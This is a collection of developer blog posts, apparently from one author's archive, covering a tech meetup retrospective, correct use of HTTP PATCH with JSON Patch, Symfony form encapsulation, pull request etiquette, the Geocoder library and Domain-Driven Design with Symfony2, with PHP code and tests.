A year later, I think that this was our main key success factor. We always stick to this manifesto, we had a clear vision since the beginning, and we all shared the same point of view.

Then, we tried to create our own identity, and we choose the platypus as our mascot. Why? Because, platypus are cool, and will always be cool. End of the story. A special thanks goes to Sophie, our outstanding web designer, by the way.

The first event was awesome, even though we had no money, no experience in organizing an event–only a MacBook Pro and a camera. We got more attendees than expected. Unbelievable. The next API Hours went well, and we reached our limit of 50 attendees after the second event. The idea behind limiting the number of attendees was pretty straightforward: we wanted people to meet other people, and make the events more friendly.

We were more and more prepared, with more equipment, and a lot of goodies! That is probably the second key success factor: focusing on the marketing stuff. This led us to the notion of sponsorship, i.e. money. Since the beginning, we wanted our events to be free of charge for the attendees, but also, providing food (we are French after all). Thanks to our fabulous sponsors, we were able to do more, making t-shirts, stickers, business cards, postcards, but also chocolates!

We held the events in different places, and not always the same day of week so that new people could show up. We took care of a lot of similar aspects (e.g., food for vegans and non-pork eaters, live streaming for those who didn’t get a ticket, and many more you can’t probably think of).

But, conferences without speakers are nothing. We wanted the API Hours to be community-driven and that is why we decided to find speakers locally. Most of our speakers never spoke at any conference before, but they were all good!

Thanks to these events, I met a lot of interesting people, and not only developers. I also heard about topics I would not have explored myself. We’ve built a vibrant community of approximately 130 individuals (based on our mailing-list), all involved in computing. I think we are quite well-known now, since local universities asked us to come and speak to their students. 2014 promises exciting developments as we continue to expand and refine our initiatives.

If your city lacks a tech organization, consider creating one. It’s an endeavor worth undertake—it could become a fantastic adventure!

Please. Don't Patch Like That.

2014-02-14T00:00:00+00:00

Modifying HTTP resources is not a new topic. Most of the existing HTTP or REST APIs provide a way to modify resources. They often provide such a feature by using the PUT method on the resource, asking clients to send the entire resource with the updated values, but that requires a recent GET on its resource, and a way to not miss updates between this GET call, and the PUT one. Indeed, one may update values before you, and it can lead to bad side effects. Moreover, sending a complete resource representation utilizes more bandwidth, and sometimes it must be taken into account. Also, most of the time you want to update one or two values in a resource, not everything, so the PUT method is probably not the right solution for partial update, which is the term used to describe such a use case.

Another solution is to expose the resource’s properties you want to make editable, and use the PUT method to send an updated value. In the example below, the email property of user 123 is exposed:

PUT /users/123/email

new.email@example.org

While it makes things clear, and it looks like a nice way to decide what to expose and what not to expose, this solution introduces a lot of complexity into your API (more actions in the controllers, routing definition, documentation, etc.). However, it is REST compliant, and a not-so-bad solution, but there is a better alternative: PATCH.

PATCH is an HTTP method (a.k.a. verb) which has been described in RFC 5789. The initial idea was to propose a new way to modify existing HTTP resources. The biggest issue with this method is that people often misunderstand its usage. No, PATCH is not strictly about sending an updated value, rather than the entire resource as described in the first paragraph of this article. Please, avoid doing this. This is not strictly correct:

PATCH /users/123

{ "email": "new.email@example.org" }

And, this is not correct either:

PATCH /users/123?email=new.email@example.org

The PATCH method requests that a set of changes, described in the request entity, must be applied to the resource identified by the request’s URI. This set contains instructions describing how a resource currently residing on the origin server should be modified to produce a new version. You can think of this as a diff:

PATCH /users/123

[description of changes]

The entire set of changes must be applied atomically, and the API must never provide a partially modified representation by the way. It is worth mentioning that the request entity to PATCH is of a different content-type than the resource that is being modified. You have to use a media type that defines semantics for PATCH, otherwise you lose the advantage of this method, and you can use either PUT or POST. From the RFC:

The difference between the PUT and PATCH requests is reflected in the way the server processes the enclosed entity to modify the resource identified by the Request-URI. In a PUT request, the enclosed entity is considered to be a modified version of the resource stored on the origin server, and the client is requesting that the stored version be replaced. With PATCH, however, the enclosed entity contains a set of instructions describing how a resource currently residing on the origin server should be modified to produce a new version. The PATCH method affects the resource identified by the Request-URI, and it also MAY have side effects on other resources; i.e., new resources may be created, or existing ones modified, by the application of a PATCH.

You can use whatever format you want as [description of changes], as far as its semantics is well-defined. That is why using PATCH to send updated values only is not suitable.

RFC 6902 defines a JSON document structure for expressing a sequence of operations to apply to a JSON document, suitable for use with the PATCH method. Here is how it looks like:

[
  { "op": "test", "path": "/a/b/c", "value": "foo" },
  { "op": "remove", "path": "/a/b/c" },
  { "op": "add", "path": "/a/b/c", "value": ["foo", "bar"] },
  { "op": "replace", "path": "/a/b/c", "value": 42 },
  { "op": "move", "from": "/a/b/c", "path": "/a/b/d" },
  { "op": "copy", "from": "/a/b/d", "path": "/a/b/e" }
]

It relies on JSON Pointers, described in RFC 6901, to identify specific values in a JSON document, i.e. in a HTTP resource representation.

Modifying the email of the user 123 by applying the PATCH method to its JSON representation looks like this:

PATCH /users/123

[
    { "op": "replace", "path": "/email", "value": "new.email@example.org" }
]

So readable, and expressive! Wonderful ♥ This is how the PATCH method MUST be used. If it succeeds, you get a 200 response.

For XML aficionados, RFC 5261 describes an XML patch framework utilizing XML Path language (XPath) selectors to update an existing XML document.

As of late 2014 (that is, after the publication of this article), a new RFC introducing the JSON Merge Patch format and describing another way to send a set of changes has been proposed. It is very similar to the idea of sending only what needs to be updated, but it is explicit thanks to the application/merge-patch+json content type.

To sum up, the PATCH method is not a replacement for the POST or PUT methods. It applies a delta (diff) rather than replacing the entire resource. The request entity to PATCH is of a different content-type than the resource that is being modified. Instead of being an entire resource representation, it is a resource that describes changes to apply on a resource.

Now, please, either don’t use the PATCH method, or use it the right way!

It is worth mentioning that PATCH is not really designed for truly RESTful APIs, as Fielding’s dissertation does not define any way to partially modify resources. But, Roy Fielding himself said that PATCH was something he created for the initial HTTP/1.1 proposal because partial PUT is never RESTful. Sure you are not transferring a complete representation, but REST does not require representations to be complete anyway.

Useful Links

Numbers. Gifts. Money.

2013-12-31T00:00:00+00:00

In 5 hours, a new year will start, 2014. But let’s take a look at 2013 first.

I wrote 15 articles, including this one—this is fewer than the previous year (18), even though one of my goals for 2013 was to blog more. However, more than 70,000 unique visitors read my thoughts. That’s amazing! Even better, on Tuesday, July 30, 2013—the publication date of From STUPID to SOLID Code!–this website attracted over 6,000 unique visitors.

The three most viewed posts were:

From STUPID to SOLID Code! (20,652 views)
On Open Sourcing Libraries (11,779 views)
DDD with Symfony2: Folder Structure and Code First (9,035 views)

It is worth mentioning that REST APIs with Symfony2: The Right Way received 59,723 unique visitors this year—even though the article was written in 2012.

These three blog posts explore Open Source and web development topics. Today, I must confess that I am not a PHP/web developer, I am not even a developer. I am a PhD student. My daily job is related to industrial computing and software testing. I don’t do programming, and if I would have to, I would use C#/.NET.

During events like SymfonyCon Warsaw, I have encountered individuals who find it challenging to understand why I contribute so much to Open Source projects. I engage in such contributions during my spare time purely out of curiosity, and it’s pretty addictive too. But apart from that, I am not too sure what I should be replying. Like, who would do that otherwise? Not everyone is allowed to do Open Source at work, and Open Source relies a lot on enthusiasts/hobbyists. I am certainly not the only person who contributes to Open Source for fun.

Talking about Open Source, Geocoder reached 1200+ stargazers, while Negotiation has been installed more than 116,000 times, and BazingaJsTranslationBundle has been installed more than 77,000 times. This means that BazingaJsTranslationBundle is my most-used Symfony bundle under my GitHub account (“my” most used bundle would actually be FOSJsRoutingBundle). My next most-installed project is probably JsonpCallbackValidator. Also, Anchorify.js remains my most-starred JavaScript library.

According to this list, I am the 47th most active GitHub user. Cool story, bro! Anyway, all this Open Source work takes time and energy. So, next time you wonder why I’m doing all of this without being rewarded or without using it myself, please don’t ask :)

I’m rewarded every single day. Most of the time because people use my stuff, and sometimes, they even appreciate it! I receive emails or tweets with heartfelt messages weekly. This is incredibly gratifying and truly rewarding! This year, I even shared my Amazon Wish List on Twitter, and I had the pleasure of receiving gifts for Christmas:

In no particular order, I would like to thank @pborreli, @weaverryan, @leannapelham, @lsmith, @mathiasverraes, @toin0u and @youb_s for these awesome gifts!

I know that money in Open Source is always a tricky topic. Be sure that I won’t get paid twice for the Open Source work I am doing. I am not sponsored by anyone, and over the last three years, I’ve never asked for compensation. I don’t need money to create new projects or to maintain them. However, domain names, GitHub account, etc. aren’t free ;-)

Next year, I plan to continue my Open Source contributions and explore new opportunities for growth. While I have exciting ideas for improving REST support in PHP/Symfony, I also want to expand my knowledge into new programming languages. Why not share what I learned with a new community? Who knows where it might lead? Additionally, I have a number of books to read and am committed to writing thoughtful reviews for each one.

On a personal plan, I lost 15 kilograms in 2013. This was part of my new lifestyle changes. I stopped drinking alcohol. I’m also getting into flexitarianism. I feel much better now and enjoy a more balanced diet. My fitness routine includes running, mountain biking, squash, and soccer.

I have three goals for 2014:

run 10 kilometers in under 40 minutes
swim faster and improve endurance (~2 km)
compete in a triathlon

Other goals include:

reading more books
writing more, possibly authoring a book
speaking at conferences
improving my English
dominating the world¹

Wishing you a Happy New Year. Best wishes for your family and yourself! I look forward to seeing you next year!

Thank you ♥ ♥ ♥

That’s a joke derived from Pinky and the Brain. ↩

Enforcing Data Encapsulation with Symfony Forms

2013-12-16T00:00:00+00:00

Having classes (entities or whatever related to your model layer) that exposes attributes publicly, i.e. setters and getters for all attributes is just a non sense. Basically, a class with attributes/getters/setters is the same thing as a class with public properties or even as an array. Don’t do that!

You should rather write classes that own data, and keep them in a safe place. That is called encapsulation. Encapsulation is one of the four fundamentals in Object-Oriented Programming (OOP). It is used to hide the values or state of a structured object inside a class, preventing unauthorized parties direct access to them. That is why you should avoid getters and setters as much as you can, not to say all the time!

Working with the Symfony Form, it may be hard to decouple your code, and to not rely on getters and setters. Mathias Verraes describes a great approach in Decoupling (Symfony2) Forms from Entities, and I strongly agree with him. To sum up, the Form component should be used in your Presentation Layer, and it should not mess with your Model Layer. Use commands or DTOs with Forms, then create or act on your Model entities in the Application Layer (i.e. in your controllers).

However, the aim of this blog post is to show you how to keep decent model classes even with the Form component. In other words, don’t write poor model classes because of the framework you are using. You should design your model classes to fit your business, and according to OOP paradigms, not because framework X sucks at hydrating an object. I guess it is Hibernate’s fault at some point, at least in the Java world with their POJOs/JavaBeans, but I am digressing…

The solution to not rely on getters and setters is to control how objects are created into the Form component. In order to do that, you can rely on the empty_data option.

Let’s take an example. Among other things, your model layer defines a Customer entity that owns a name and an Email value object. You don’t want to break encapsulation and write SOLID code instead, so you end up writing the following Customer class definition:

<?php

namespace My\Model;

class Customer
{
    private $name;

    /**
     * @var Email
     */
    private $email;

    public function __construct($name, Email $email)
    {
        $this->name  = $name;
        $this->email = $email;
    }
}

The Email value object can be defined as follows. Thank you Mathias by the way.

<?php

namespace My\Model;

class Email
{
    private $email;

    public function __construct($email)
    {
        $this->email = $email;
    }
}

In your CustomerType, all you need to do is configure the empty_data option in the setDefaultOptions() method using a closure:

<?php

namespace My\Form\Type;

use My\Model\Customer;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;

class CustomerType extends AbstractType
{
    /**
     * {@inheritdoc}
     */
    public function buildForm(FormBuilderInterface $builder, array $options)
    {
        $builder
            ->add('name', 'string')
            ->add('email', new EmailType())
        ;
    }

    /**
     * {@inheritdoc}
     */
    public function setDefaultOptions(OptionsResolverInterface $resolver)
    {
        $resolver->setDefaults(array(
            'data_class' => 'My\Model\Customer',
            'empty_data' => function (FormInterface $form) {
                return new Customer(
                    $form->get('name')->getData(),
                    $form->get('email')->getData()
                );
            }
        ));
    }

    // ...
}

It is worth mentioning that it works fine with custom types, collections, and so on. In the example above, it relies on a custom EmailType rather than directly using the built-in email type and creating the value object in the CustomerType. The creation is left to this EmailType. Calling getData() on $form->get('email') actually returns an Email object.

For the record, here is the EmailType definition:

<?php

namespace My\Form\Type;

use My\Model\Email;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;

class EmailType extends AbstractType
{
    /**
     * {@inheritdoc}
     */
    public function buildForm(FormBuilderInterface $builder, array $options)
    {
        $builder->add('email', 'email');
    }

    /**
     * {@inheritdoc}
     */
    public function setDefaultOptions(OptionsResolverInterface $resolver)
    {
        $resolver->setDefaults(array(
            'data_class' => 'My\Model\Email',
            'empty_data' => function (FormInterface $form) {
                return new Email(
                    $form->get('email')->getData()
                );
            }
        ));
    }

    // ...
}

No more excuse to write crappy model classes now!

On Creating Pull Requests

2013-11-20T00:00:00+00:00

As a maintainer of various Open Source projects, I use to manage quite a lot of issues and Pull Requests (PRs). While issues are often well-written, I must say that most of the Pull Requests I see are not.

Three years ago, I started contributing on Open Source. It took me some time to release my own projects, and even more time to manage projects that people actually used. I was so happy that I accepted almost all Pull Requests, often by reworking them on my own. I thought it was a wise decision, but I was wrong.

Creating a Pull Request to fix a bug or to implement a new feature in a project is awesome. Really. From a maintainer point of view (or maybe just mine), it is a gift. Any contribution to an Open Source project is a way to thank its author.

However, it does not mean that you, as a contributor, don’t have to follow a couple of rules to get your work merged at some point. You may think that spending time on fixing a bug is enough, but it is actually half the work you have to do while contributing to any Open Source project. You always have to:

work on the project;
fit the project’s philosophy.

The latest point includes coding standards, documentation, commit messages, and any other things related to the targeted project. Thanks to GitHub, these rules may be found in a CONTRIBUTING file. Mine (for PHP projects) contains the following set of rules:

[…]

You MUST follow the PSR-1 and PSR-2. If you don’t know about any of them, you should really read the recommendations. Can’t wait? Use the PHP-CS-Fixer tool.

You MUST run the test suite.

You MUST write (or update) unit tests.

You SHOULD write documentation.

Please, write commit messages that make sense, and rebase your branch before submitting your Pull Request.

One may ask you to squash your commits too. This is used to “clean” your Pull Request before merging it (we don’t want commits such as fix tests, fix 2, fix 3, etc.).

Also, while creating your Pull Request on GitHub, you MUST write a description which gives the context and/or explains why you are creating it.

Hopefully, it is crystal clear. If it is not, please leave a comment.

First, I describe the Coding Standards (CS) I use in the project. Then, I expect people to run the test suite, and to write tests to prove the bug’s existence, but also to prove that the fix works. Basically, no test, no merge. If you can’t come up with a fix, create a Pull Request with a failing test case.

If you want your patch to be merged, you should send clean commits. Most of the time, a single commit including the fix, some tests, and an update on the documentation is enough. Once you have hacked on the project, squash your commits and send the result as a single commit.

Last sentence is about the Pull Request itself, the one you will create on GitHub. Most of the time, people don’t write any description. Please, start writing Pull Request descriptions, now! Give the context such as the “why” (you need this feature) or the “how” (you found the bug you fixed).

Also, the title of your Pull Request is important. Write a short yet clear sentence giving the insight of your Pull Request. It is common to add a prefix to the title, such as: [WIP], which stands for Work In Progress; [POC] (Proof Of Concept), [WCM] (Waiting Code Merge), etc.

If you follow these rules, then maintainers will focus on the code while reviewing your Pull Request and will be able to quickly merge it, rather than wasting their time on trying to get something “mergeable”.

Last but not the least, you may get a lot of feedback. Please, support your Pull Request until it gets merged. Don’t disappear!

Thank you my heroes! ♥

TL;DR

Follow the rules of the project you are contributing to;
Attach clean commits to your Pull Request (rebase may help);
Write a description in your Pull Request, explaining the context.
More information at: Git & GitHub & OpenSource

DDD with Symfony2: Basic Persistence & Testing

2013-11-13T00:00:00+00:00

After having described a decent folder structure and made things clear about DDD and this series, I will continue to bootstrap the sample application, focusing on a basic persistence layer and testing. It is not tied to DDD but it is worth writing about these two points.

A basic persistence layer is a layer that is simple. In other words, it does the job, period. It has poor performances, but it does not matter. What matters is that you can develop your application without having to decide whether you will use MySQL rather than a NoSQL database or an API for instance.

The `YamlUserRepository` Repository

Until now, the application used the InMemoryUserRepository described in the first blog post of this series. In order to introduce new concepts later in this series, you need a real persistence layer that is able to load and store data. That is why you need a YamlUserRepository.

For the record, YAML is a data serialization format that is both simple and human readable. You don’t need to focus on performance right now, so storing data in a file is ok.

Here is the implementation of the YamlUserRepository. That might not be the perfect/best implementation but it actually works:

<?php

namespace Acme\CoreDomainBundle\Repository;

use Acme\CoreDomain\User\User;
use Acme\CoreDomain\User\UserId;
use Acme\CoreDomain\User\UserRepository;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\Yaml\Yaml;

class YamlUserRepository implements UserRepository
{
    private $filename;

    public function __construct($filename)
    {
        $this->filename = $filename;

        (new Filesystem())->touch($this->filename);
    }

    /**
     * {@inheritDoc}
     */
    public function find(UserId $userId)
    {
        foreach ($this->findAll() as $user) {
            if ($user->getId()->isEqualTo($userId)) {
                return $user;
            }
        }

        return null;
    }

    /**
     * {@inheritDoc}
     */
    public function findAll()
    {
        $users = array();
        foreach ($this->getRows() as $row) {
            $users[] = new User(
                new UserId($row['id']),
                $row['first_name'],
                $row['last_name']
            );
        }

        return $users;
    }

    /**
     * {@inheritDoc}
     */
    public function add(User $user)
    {
        $rows = array();
        foreach ($this->getRows() as $row) {
            if ($user->getId()->isEqualTo(new UserId($row['id']))) {
                continue;
            }

            $rows[] = $row;
        }

        $rows[] = array(
            'id'         => $user->getId()->getValue(),
            'first_name' => $user->getFirstName(),
            'last_name'  => $user->getLastName(),
        );

        file_put_contents($this->filename, Yaml::dump($rows));
    }

    /**
     * {@inheritDoc}
     */
    public function remove(User $user)
    {
        $rows = array();
        foreach ($this->getRows() as $row) {
            if ($user->getId()->isEqualTo(new UserId($row['id']))) {
                continue;
            }

            $rows[] = $row;
        }

        file_put_contents($this->filename, Yaml::dump($rows));
    }

    private function getRows()
    {
        return Yaml::parse($this->filename) ?: array();
    }
}

This new repository relies on two Symfony2 components: Filesystem and Yaml.

As you might notice, the identity between two users is checked by the isEqualTo() method, part of the UserId value object. The body of this method is pretty straightforward:

public function isEqualTo(UserId $userId)
{
    return $this->getValue() === $userId->getValue();
}

Register the new repository into the Dependency Injection Container (DIC). The YamlUserRepository class takes a filename as first argument, that is why the service definition contains a <argument> tag.

The file will be created into the cache directory (%kernel.cache_dir%) meaning that if you clear the cache, your data will be lost.

<!-- src/Acme/CoreDomainBundle/Resources/config/repositories.xml -->
<?xml version="1.0" ?>
<container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd">

    <parameters>
        <!-- ... -->
        <parameter key="user_repository.yaml.class">Acme\CoreDomainBundle\Repository\YamlUserRepository</parameter>
    </parameters>

    <services>
        <!-- ... -->

        <!-- Concrete Implementations -->
        <service id="user_repository.yaml" class="%user_repository.yaml.class%" public="false">
            <argument>%kernel.cache_dir%/users.yml</argument>
        </service>
    </services>
</container>

Using the YamlUserRepository rather than the InMemoryUserRepository is just a matter of configuration. Change the alias for the user_repository service and you are done:

<service id="user_repository" alias="user_repository.yaml"></service>

Looks good? No! I told you that the implementation worked fine, did you trust me? You should not, and you should write tests instead.

Unit Testing

Testing the YamlUserRepository implementation looks pretty easy, except that it relies on the filesystem to load and store data. Most of the developers I know would touch a temporary file at the beginning of each test method and delete it at the end. That is not the right way to test such a thing.

vfsStream to the rescue! It is a stream wrapper for a virtual filesystem, which can be used to mock the real filesystem. That is exactly what you need.

Install it as a dev package:

$ composer require mikey179/vfsStream:"1.3.*@dev" --dev

First, you need to setup the virtual filesystem using the vfsStream::setup() method. Then, you can create a virtual filename that will be injected into your YamlUserRepository just like the DIC would do it:

<?php

namespace Acme\CoreDomainBundle\Tests\Repository;

use org\bovigo\vfs\vfsStream;
use Acme\CoreDomainBundle\Repository\YamlUserRepository;
use Acme\CoreDomainBundle\Tests\TestCase;
use Acme\CoreDomain\User\User;
use Acme\CoreDomain\User\UserId;

class YamlUserRepositoryTest extends TestCase
{
    private $cacheDir;

    private $repository;

    protected function setUp()
    {
        $this->cacheDir   = vfsStream::setup('cache');
        $this->repository = new YamlUserRepository(vfsStream::url('cache/users.yml'));
    }
}

The following method creates fixtures that will be useful in your test methods:

<?php

class YamlUserRepositoryTest extends TestCase
{

    // ...

    protected function addUsers()
    {
        $this->repository->add(
            new User(new UserId('62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23'), 'Jean', 'Bon')
        );
        $this->repository->add(
            new User(new UserId('62A0CEB4-0403-4AA6-A6CD-1EE808AD4D44'), 'John', 'Doe')
        );
    }
}

And here are your first tests:

<?php

class YamlUserRepositoryTest extends TestCase
{

    // ...

    public function testFind()
    {
        $this->addUsers();

        $user = $this->repository->find(
            new UserId('62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23')
        );

        $this->assertNotNull($user);
        $this->assertInstanceOf('Sportbook\CoreDomain\User\User', $user);
        $this->assertEquals('Jean', $user->getName()->getFirstName());
    }

    public function testFindReturnsNullIfNotFound()
    {
        $user = $this->repository->find(
            new UserId('62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23')
        );

        $this->assertNull($user);
    }

    public function testAdd()
    {
        $this->addUsers();
        $expected = <<<YAML
-
    id: 62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23
    first_name: Jean
    last_name: Bon
-
    id: 62A0CEB4-0403-4AA6-A6CD-1EE808AD4D44
    first_name: John
    last_name: Doe

YAML;
        $this->assertEquals(
            $expected,
            $this->cacheDir->getChild('users.yml')->getContent()
        );
    }
}

Note that the testAdd() method is just an example on how to use vfsStream. Also, I won’t cover all tests that should be written for this repository, however you must test all its public methods.

Now, let’s setup the functional tests.

Functional Testing

A while ago, I created a bundle named BazingaRestExtraBundle, which contains various tools that are not part of the FOSRestBundle (yet). One of the most useful class is the WebTestCase which extends the Symfony one, and provides methods that I use all the time while testing REST APIs, especially the assertJsonResponse() I already covered.

Require it as dev package:

$ composer require willdurand/rest-extra-bundle:"0.0.*" --dev

Then, create your first functional test class:

<?php

namespace Acme\ApiBundle\Tests\Controller;

use Bazinga\Bundle\RestExtraBundle\Test\WebTestCase;

class UserControllerTest extends WebTestCase
{
    public function testAll()
    {
        $client   = static::createClient();
        $crawler  = $client->request('GET', '/users.json');
        $response = $client->getResponse();

        $this->assertJsonResponse($response);
    }
}

This test should fail because you didn’t provide any fixtures. Use the setUp() method to copy a fixtures file to the cache directory so that you keep control over the data in your tests:

<?php

class UserControllerTest extends WebTestCase
{
    // ...

    protected function setUp()
    {
        $this->client = static::createClient();

        (new Filesystem())->copy(
            __DIR__ . '/../Fixtures/users.yml',
            $this->client->getContainer()->get('kernel')->getCacheDir() . '/users.yml',
            true
        );
    }
}

The Fixtures/users.yml file contains the following data:

- id: 50AAF29D-DB0B-43FE-9DD8-2F1C058416C5
  first_name: Jean
  last_name: Bon
- id: 53E2F088-E0B0-4A21-86A8-67B2FD6A2749
  first_name: John
  last_name: Doe

That’s it! You are able to test your application in a functional way like a boss!

Conclusion

As of now, the sample application looks good. It does not do much things right now, but everything is bootstrapped. You should keep in mind that testing is really important, and that you should use the right tools even in your tests. vfsStream is awesome!

Hopefully you now understand why combining programming to the interface with dependency injection is powerful. Replacing an implementation to another one is just a matter of alias here.

In the next blog post, I will mainly cover factories, stay tuned!

Taking Geocoder to the next level

2013-08-29T00:00:00+00:00

Almost two years ago, I pushed the first commits of a project that was anything but useful. I started this project to ease a friend’s life – @themouette – who was playing with the Google Maps API in a PHP app back then. I named this project Geocoder because I could not come up with a better name…

A few weeks later, this project got a lot more attention, I received very positive feedback and people started to contribute. That was amazing! At the time of writing, more than 630 commits have been made by 43 contributors. According to Packagist, it has been installed more than 40K times. Awesome for such a library!

Geocoder is an abstraction layer for most of the existing third-party geocoding APIs. It is rather specific and that is why these numbers look even more awesome to me! This project became my most starred library on GitHub, and the project has been featured by Smashing Magazine on Twitter ❤️

I believe it became relatively successful because Geocoder has been created to answer only one need, and the scope was small enough. The library was focused on (reverse) geocoding addresses, nothing more and certainly nothing fancy.

Earlier this week, I decided to move forward with this project. First of all, I am glad to unveil a new website available at geocoder-php.org. The homepage introduces Geocoder as well as its related projects. More projects will join the family soon! Each project has its own documentation page and a cookbook will be published soon..

In addition to that, a new GitHub organization called geocoder-php has been created to gather all the folks interested in the project. It is critical for such a project to be maintained, and that is why I asked key people to join the new Geocoder family. Our goal is to make Geocoder even better and future-proof!

Last but not least, Geocoder now has its own shiny logo:

We, the Geocoder core team, intend to ship new features and release often. Your feedback is important. Please get in touch with us about missing features and so on. Also, if you are using Geocoder, I would personally be glad to hear from you!

Special thanks to Antoine, Markus, and all contributors.

DDD with Symfony2: Making Things Clear

2013-08-20T00:00:00+00:00

Domain Driven Design also known as DDD is an approach to develop software for complex needs by connecting the implementation to an evolving model. It is a way of thinking and a set of priorities, aimed at accelerating software projects that have to deal with complicated domains.

It is possible to use this approach in a Symfony2 project, and that is what I am going to introduce in a series of blog posts. You will learn how to build an application that manages users through a REST API using Domain Driven Design.

This is the second article of this series! You should read Folder Structure And Code First before digging into that one. This blog post is an attempt to fix a few misunderstandings coming from the first post. I recommend you to quickly jump to all links, they are valuable!

DDD Is Not RAD

Domain Driven Design is not a fast way to build a software. It is not RAD at all! It implies a lot of boilerplate code, tons of classes, and so on. No, really. It is not the fastest way to write an application. No one ever said that DDD was simple or easy.

However, it is able to ease your life when you have to deal with complex business expectations. How? By considering your domain (also known as your business) as the heart of your application. Honestly, DDD should be used in a rather large application, with complex business rules and scenarios. Don’t use it if you are building a blog, it does not make much sense (even if it is probably the best way to learn the hard way). So question is when to use DDD? I would say when your domain is very complex, or when the business requirements change fast.

There Is No Database

In DDD, we don’t consider any databases. DDD is all about the domain, not about the database, and Persistence Ignorance (PI) is a very important aspect of DDD.

With Persistence Ignorance, we try and eliminate all knowledge from our business objects of how, where, why or even if they will be stored somewhere. Persistence Ignorance means that the business logic itself doesn’t know about persistence. In other words, your Entities should not be tied to any persistence layer or framework.

So, don’t expect me to make choices because it works better with Doctrine, Propel or whatever. This is not how we should use DDD. We, as developers, need to become part of our business users domains, we need to stop thinking in technical terms and constructs, and need to immerse ourselves in the world our business users inhabit.

DDD And REST

By now, I use a REST API as Presentation Layer. It is perfectly doable and, even if both concepts seem opposites, they play nice together. Remember that one of the strengths of DDD is the separation of concerns thanks to distinct layers. I am afraid that people think that it is not possible to play with both at the same time because nobody understands REST or HTTP.

Basically, you should not expose your Domain Model as-is over a public interface such as a REST API. That is why you should use Data Transfer Objects (DTOs). DTOs are simple objects that should not contain any business logic that would require testing by the way. A DTO could be seen as a PHP array actually.

What you should do here is to write a REST API that exposes resources that make sense for the clients (the clients that consume your API), and that are not always 1-1 with your Domain Model. See these resources as DTOs. For instance, if you deal with Orders and Payments, you could create a transaction resource to perform the business operation payOrder(Order $order, Payment $payment) as proposed by Jonathan Bensaid in the (now deleted) comments of the previous article:

POST /transactions
orderId=123&paymentId=456&...

The Application Layer will receive the data from the Presentation Layer and call the Domain Layer. This transaction is a DTO. It is not part of the domain but it is useful to exchange information between the Presentation and the Application layers.

However, in the previous article I was able to directly map my User Entity to resources of type users. But if you look at the whole thing, I used a Serializer component to only expose some properties. That is actually another sort of DTO. The Entity is transformed to only expose data that are relevant for the clients (the clients that consume your API). So it is ok(-ish)!

Also, note that HTTP methods explicitly delineate commands and queries. That means Command Query Responsibility Separation CQRS maps directly to HTTP. Hurray!

So, What’s Next?

In this series, I will introduce a more complex business, don’t worry! Hopefully I was clear enough to explain my choices regarding this series, and I fixed some misconceptions about DDD, RAD, and REST.

In the next blog post, I will introduce the Presentation Layer, new Value Objects such as the Name one, and more on DDD! At the end of the next post, you will basically get a CRUD-ish application. Yes, I know… CRUD is an anti-pattern, but it does not mean you should avoid it all the time. Creating new users make sense afterall.

The third post will allow you to create almost everything you need in the different DDD layers to build a strong and powerful domain, with complex logic, and so on. You may not get why DDD is great until that, so don’t panic and stay tuned!

DDD with Symfony2: Folder Structure And Code First

2013-08-07T00:00:00+00:00

Bootstrap

Start by creating a fresh project using the symfony-standard edition:

composer create-project symfony/framework-standard-edition path/to/install

I use to remove unecessary files such as src/*, as well as useless bundles. My composer.json file requires the following packages (for now):

"require": {
    "php": ">=5.3.3",
    "symfony/symfony": "2.3.*",
    "sensio/distribution-bundle": "2.3.*",
    "twig/extensions": "1.0.*",
    "symfony/monolog-bundle": "2.3.*",
    "incenteev/composer-parameter-handler": "~2.0",
    "sensio/framework-extra-bundle": "~2.3"
}

Don’t forget to update the AppKernel class accordingly. You are now ready!

Folder Structure

As Mathias Verraes stated in his blog post about Code Folder Structures, most of the usual Symfony2 project folder structures are not efficient. That is why it is important to spend some time designing a decent folder structure.

In your case, the domain expert said users are centrepieces. The word User is part of the Ubiquitous Language, the term Eric Evans uses in DDD for the practice of building up a common, rigorous language between developers and users.

At first glance, it sounds like a good idea to create a CoreDomainBundle or even a UserBundle bundle that will own users related things. Nein Nein Nein Nein Nein Nein! I too often say that bundles should integrate libraries, and I am not the only one.

This also applies to your bundles, so users related stuff will better live in a CoreDomain package:

src
└── Acme
    └── CoreDomain
        └── User

However, you still need a CoreDomainBundle bundle in order to integrate your CoreDomain package into your Symfony2 project:

src
└── Acme
    ├── CoreDomain
    │   └── User
    └── CoreDomainBundle
        └── AcmeCoreDomainBundle.php

This package is part of the Domain Layer. This layer is the heart of your application. Business rules and logic live inside this layer. Business entity state and behavior are defined and used here. Next section is about designing this Domain Layer using a Code First approach.

Code First

The Code First approach provides an alternative to the well-known Database First approach. As far as I know, it comes from the Microsoft world, but it does not really matter.

Using a Database First approach, you design your database schema, and then generate your classes. That is how Propel works for instance. It is RAD compliant, but it does not fit the DDD mindset.

Let’s try the Code First approach then. Basically, start by writing your classes, think in term of objects, not tables. You don’t have to take care of the database yet. The domain expert said a User has an identifier, a first name, and a last name.

The User class is called an Entity in DDD as it has an identity. It is unique within the system. Identity can be represented in many ways on an entity, it could be a numeric identifier, a GUID, or a natural key. Note that these Entities are not the same as the Doctrine ones. They might be Doctrine classes, but they don’t have to be.

<?php

namespace Acme\CoreDomain\User;

class User
{
    private $id;

    private $firstName;

    private $lastName;

    public function __construct(UserId $id, $firstName, $lastName)
    {
        $this->id        = $id;
        $this->firstName = $firstName;
        $this->lastName  = $lastName;
    }

    public function getId()
    {
        return $this->id;
    }

    public function getFirstName()
    {
        return $this->firstName;
    }

    public function getLastName()
    {
        return $this->lastName;
    }
}

Generally speaking, try to avoid setters in order to make your code solid. You could use a Value Object to represent the name of the user but it is not mandatory.

